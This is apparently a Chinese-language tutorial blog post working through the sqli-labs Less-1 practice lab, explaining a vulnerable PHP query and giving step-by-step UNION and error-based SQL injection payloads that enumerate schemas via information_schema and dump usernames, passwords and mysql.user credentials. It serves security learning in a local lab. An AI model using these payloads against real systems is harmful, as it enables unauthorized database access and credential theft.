Less-1 GET-Error based-Single quotes-String GET-基于错误-单引号-字符串

复制代码
http://192.168.224.1:8887/Less-1/?id=1
http://192.168.224.1:8887/Less-1/?id=2
http://192.168.224.1:8887/Less-1/?id=1+1

执行?id=1+1的结果不是?id=2的结果而是?id=1的结果,说明id这个参数传到数据库中查询的时候是转成字符型查询的。

  • 如果数据库字段是​字符型​ (如VARCHAR),'1+1'会被当作字符串处理
    '1+1'→ 转换失败 → 默认取第一个数字 1
    '1abc'→ 同样会转为 1
  • 如果字段是​数值型​,数据库会尝试将字符串转为数字

docker进入靶机查看less1的php文件,发现数据库查询的语句主要是下面这句话

php 复制代码
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

这句SQL语句的含义和安全问题分析:

语句含义

sql 复制代码
SELECT * FROM users WHERE id='$id' LIMIT 0,1
  • SELECT * FROM users:从users表中查询所有字段
  • WHERE id='$id':筛选条件,id等于变量$id的值
  • LIMIT 0,1:限制返回结果

LIMIT 0,1 的含义

LIMIT 0,1 是MySQL的分页语法:

  • 第一个参数(0):偏移量(offset),表示从第0条记录开始(即第一条)
  • 第二个参数(1):返回的记录数量,表示只返回1条记录

所以 LIMIT 0,1 表示:跳过0条记录,返回1条记录,即只返回查询结果的第一条数据。

也可以简写为 LIMIT 1(效果相同)。

SQL注入风险

这段代码存在严重的SQL注入漏洞 ,因为 $id 直接拼接到SQL语句中,没有进行任何过滤或参数化处理。

如果是在安全测试或CTF场景中进行SQL注入测试:

1. 闭合引号

由于查询条件是 id='$id',需要先闭合单引号:

sql 复制代码
' OR '1'='1

2. 注释后续内容

使用注释符号忽略后面的 LIMIT:

sql 复制代码
' OR '1'='1' --+
' OR '1'='1' #

3. LIMIT的影响

  • LIMIT 0,1 会限制只返回1条结果
  • 在联合查询(UNION)时需要注意,可能只显示第一条数据
  • 可以通过修改LIMIT参数来获取其他行数据

4. 常见注入payload示例

万能密码
sql 复制代码
1' OR '1'='1' --+
联合查询

用一个不存在的0显示不会占用空间

sql 复制代码
0' UNION SELECT 1,2,3 --+
获取数据库信息
sql 复制代码
0' UNION SELECT 1,database(),version() --+

得到数据库名为 security

获取表名
sql 复制代码
0' UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database() --+

看到有四个表,用户配置相关的表一般就是在users表中。

获取列名
sql 复制代码
0' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security' --+

得到存在username和password两个列名

统计有几个列名有几行数据
sql 复制代码
0' union select 1,2,count(*) from users --+

与mysql中执行的结果相比

爆全表
sql 复制代码
0' union select 1,group_concat(username),group_concat(password) from users --+
以冒号形式相连
sql 复制代码
0' union select 1,2,group_concat(username,':',password) from users --+
分隔符优化更美观
sql 复制代码
0' union select 1,2,group_concat(username,0x3a,password,0x3c62723e) from users --+
0' union select 1,2,group_concat(id,0x7c,username,0x7c,password,0x7c,0x3c62723e) from users --+
# 分隔符说明 
0x3a = :(冒号) 
0x7c = |(竖线) 
0x2c = ,(逗号) 
0x3c62723e = <br>(HTML换行)


注意group_concat() 默认最大长度是1024字节,如果数据量大可能被截断。可以通过多次查询或调整 group_concat_max_len 来解决。

报错注入
sql 复制代码
0' and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users))) --+

【问题】LIMIT注释掉了为什么还要用concat

LIMIT注释掉了为什么还要用concat?为什么直接用0' union SELECT 1,username,password FROM users --+查询显示的还是id=1的内容。

1. 注释符确实注释掉了 LIMIT

php 复制代码
$id = "0' union select 1,2,3 --+";
$sql = "SELECT * FROM users WHERE id='$id' LIMIT 0,1";

// 拼接后:
$sql = "SELECT * FROM users WHERE id='0' union select 1,2,3 --+' LIMIT 0,1";
                                                               ↑__________↑
                                                           这部分被 --+ 注释掉了!

实际执行的SQL是:

sql 复制代码
SELECT * FROM users WHERE id='0' union select 1,2,3

所以 --+ 确实注释掉了后面的 ' LIMIT 0,1 ,此时UNION 查询没有 LIMIT 限制

2. 为什么还要用 GROUP_CONCAT

原因是:

php 复制代码
$row = mysql_fetch_array($result);  // 只取了第1行数据!

关键点:

  • SQL查询虽然返回了多行结果(因为LIMIT被注释掉了,可以获取全表数据)
  • mysql_fetch_array($result) 只取第一行
  • 后面的代码只显示了 $row['username']$row['password']

流程图:

复制代码
SQL执行:
SELECT * FROM users WHERE id='0' 
UNION 
SELECT 1,username,password FROM users
↓
返回结果集(假设有5行数据):
Row 1: ...
Row 2: ...
Row 3: ...
Row 4: ...
Row 5: ...
↓
mysql_fetch_array($result) ← 只取第1行!
↓
$row['username']  ← 只显示第1行的username
$row['password']  ← 只显示第1行的password

进入靶机的docker环境之间连接数据库执行这两条查询语句就能发现问题的答案。

3. 为什么需要 GROUP_CONCAT

因为:

  • SQL层面:LIMIT 被注释掉了,可以查询全表 ✓
  • PHP层面:只取了第1行,只显示了2个字段 ✗

所以用 GROUP_CONCAT 的目的是:

sql 复制代码
0' union select 1,group_concat(username),group_concat(password) from users --+

这样会把所有用户的数据合并成一行

复制代码
username字段:admin,user1,user2,user3
password字段:pass1,pass2,pass3,pass4

然后 mysql_fetch_array 虽然只取第1行,但这第1行包含了所有数据

完整示例对比

不用 GROUP_CONCAT(只能看到1个用户)
sql 复制代码
0' union select 1,username,password from users --+

返回结果:

复制代码
Row 1: 1, 'admin', 'admin123'
Row 2: 1, 'user1', 'pass1'      ← PHP代码看不到
Row 3: 1, 'user2', 'pass2'      ← PHP代码看不到
...

显示:

复制代码
Your Login name: admin
Your Password: admin123
用 GROUP_CONCAT(能看到所有用户)
sql 复制代码
0' union select 1,group_concat(username),group_concat(password) from users --+

返回结果:

复制代码
Row 1: 1, 'admin,user1,user2,user3', 'admin123,pass1,pass2,pass3'

显示:

复制代码
Your Login name: admin,user1,user2,user3
Your Password: admin123,pass1,pass2,pass3

总结

  1. --+ 确实注释掉了 LIMIT,SQL可以查询全表
  2. ✅ 用 GROUP_CONCAT 是因为PHP代码只显示第1行的2个字段
  3. ✅ 网页只给了2个显示位置(username 和 password)

非常好的问题!这涉及到MySQL的核心机制。让我详细解释:

【问题】information_schema 是什么

1. MySQL的系统数据库

information_schema 是MySQL 内置的系统数据库 ,存储了所有数据库的元数据(metadata),包括:

  • 所有数据库名
  • 所有表名
  • 所有列名
  • 表结构、索引、权限等信息

类比理解:

  • 普通数据库(如 security)= 图书馆的书籍
  • information_schema = 图书馆的目录系统

2. 是固定的吗?

是的! information_schema 是MySQL的标准系统库,名字固定,结构固定。

MySQL有几个系统数据库:

sql 复制代码
information_schema  -- 元数据信息(最常用于注入)
mysql              -- 用户权限信息
performance_schema -- 性能监控
sys                -- 系统诊断(MySQL 5.7+)

为什么能爆表名和列名

原理解析

information_schema 包含很多表,其中最重要的几个:

1. TABLES 表 - 存储所有表的信息
sql 复制代码
SELECT * FROM information_schema.TABLES;

关键字段:

  • TABLE_SCHEMA - 数据库名(如 'security')
  • TABLE_NAME - 表名(如 'users'、'emails')
  • TABLE_TYPE - 表类型
  • ENGINE - 存储引擎
2. COLUMNS 表 - 存储所有列的信息
sql 复制代码
SELECT * FROM information_schema.COLUMNS;

关键字段:

  • TABLE_SCHEMA - 数据库名
  • TABLE_NAME - 表名
  • COLUMN_NAME - 列名(如 'username', 'password')
  • DATA_TYPE - 数据类型
  • COLUMN_KEY - 是否主键

SQL语句详解

语句1:爆出当前数据库的所有表名
sql 复制代码
0' UNION SELECT 1,group_concat(table_name),3 
FROM information_schema.tables 
WHERE table_schema=database() --+

逐步解析:

sql 复制代码
group_concat(table_name)           -- 把所有表名合并成一个字符串
FROM information_schema.tables     -- 从系统表中查询
WHERE table_schema=database()      -- database() 返回当前数据库名(如 'security')

database() 只查询当前数据库,在哪个页面查就是那个页面的数据库,非常人性化,如果库名不知道也没关系。
返回结果示例:

复制代码
emails,referers,uagents,users
语句2:爆出指定表的所有列名
sql 复制代码
0' union select 1,2,group_concat(column_name) 
from information_schema.columns 
where table_name='users' and table_schema='security' --+
0' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database() --+

这里如果不知道库名是security用database() 也是一样的

逐步解析:

sql 复制代码
FROM information_schema.columns           -- 从列信息表查询
WHERE table_name='users'                  -- 指定表名
  AND table_schema='security'             -- 指定数据库名
group_concat(column_name)                 -- 合并所有列名

返回结果示例:

复制代码
id,username,password

information_schema 的其他用途

1. 查询所有数据库名
sql 复制代码
0' union select 1,2,group_concat(schema_name) 
from information_schema.schemata --+
2. 查询指定数据库的所有表
sql 复制代码
0' union select 1,2,group_concat(table_name) 
from information_schema.tables 
where table_schema='security' --+
3. 查询列的详细信息
sql 复制代码
0' union select 1,2,group_concat(column_name,'(',data_type,')') 
from information_schema.columns 
where table_name='users' --+

返回:id(int),username(varchar),password(varchar)

4. 查找包含特定列名的所有表
sql 复制代码
-- 查找所有包含 'password' 列的表
0' union select 1,2,group_concat(table_name) 
from information_schema.columns 
where column_name='password' --+
5. 查询表的行数(估算)
sql 复制代码
0' union select 1,2,table_rows 
from information_schema.tables 
where table_name='users' --+
6. 查询用户权限
sql 复制代码
-- 查看当前用户
0' union select 1,2,user() --+

-- 查看所有用户(需要权限)
0' union select 1,2,group_concat(user,':',password) 
from mysql.user --+

SQL注入的标准流程

使用 information_schema 的完整注入流程:

sql 复制代码
-- 第1步:判断注入点和列数
0' order by 3 --+

-- 第2步:确定显示位
0' union select 1,2,3 --+

-- 第3步:查询当前数据库
0' union select 1,database(),3 --+

-- 第4步:查询所有数据库
0' union select 1,group_concat(schema_name),3 
from information_schema.schemata --+

-- 第5步:查询当前数据库的所有表
0' union select 1,group_concat(table_name),3 
from information_schema.tables 
where table_schema=database() --+

-- 第6步:查询指定表的所有列
0' union select 1,group_concat(column_name),3 
from information_schema.columns 
where table_name='users' --+

-- 第7步:查询数据
0' union select 1,group_concat(username),group_concat(password) 
from users --+

其他数据库的等价物

不同数据库有类似的系统表:

MySQL/MariaDB
sql 复制代码
information_schema
PostgreSQL
sql 复制代码
information_schema
pg_catalog.pg_tables
SQL Server
sql 复制代码
information_schema
sys.tables
sys.columns
Oracle
sql 复制代码
ALL_TABLES
ALL_TAB_COLUMNS
DBA_TABLES (需要DBA权限)
SQLite
sql 复制代码
sqlite_master  -- 存储表结构

总结

information_schema 是MySQL的固定系统数据库

✅ 存储了所有数据库的元数据信息

✅ SQL注入中用来探测数据库结构

✅ 是注入攻击的核心工具

✅ 其他数据库也有类似的系统表

这就是为什么在SQL注入教程中,information_schema 总是必学内容!🎯

相关推荐
那我掉的头发算什么3 小时前
【数据库】navicat的下载以及数据库约束
android·数据库·数据仓库·sql·mysql·数据库开发·数据库架构
小时前端3 小时前
虚拟DOM已死?90%内存节省的Vapor模式正在颠覆前端
前端·html
Keepreal4963 小时前
Web Components简介及如何使用
前端·javascript·html
jump6803 小时前
TS中 unknown 和 any 的区别
前端
无羡仙3 小时前
AI终于‘看见’网页了!Stagewise让UI修改从‘盲调’变‘指哪打哪
前端
cai_huaer4 小时前
BugKu Web渗透之 文件包含2
web安全·1024程序员节
tuokuac4 小时前
虚拟机挂起,重启后主机连接不上虚拟机docker中的mysql?(docker网络状态假死)
网络·mysql·docker
柯腾啊4 小时前
“Script error.”的产生原因和解决办法
前端·javascript·浏览器
沙漠之皇4 小时前
ts 定义重复对象字段
前端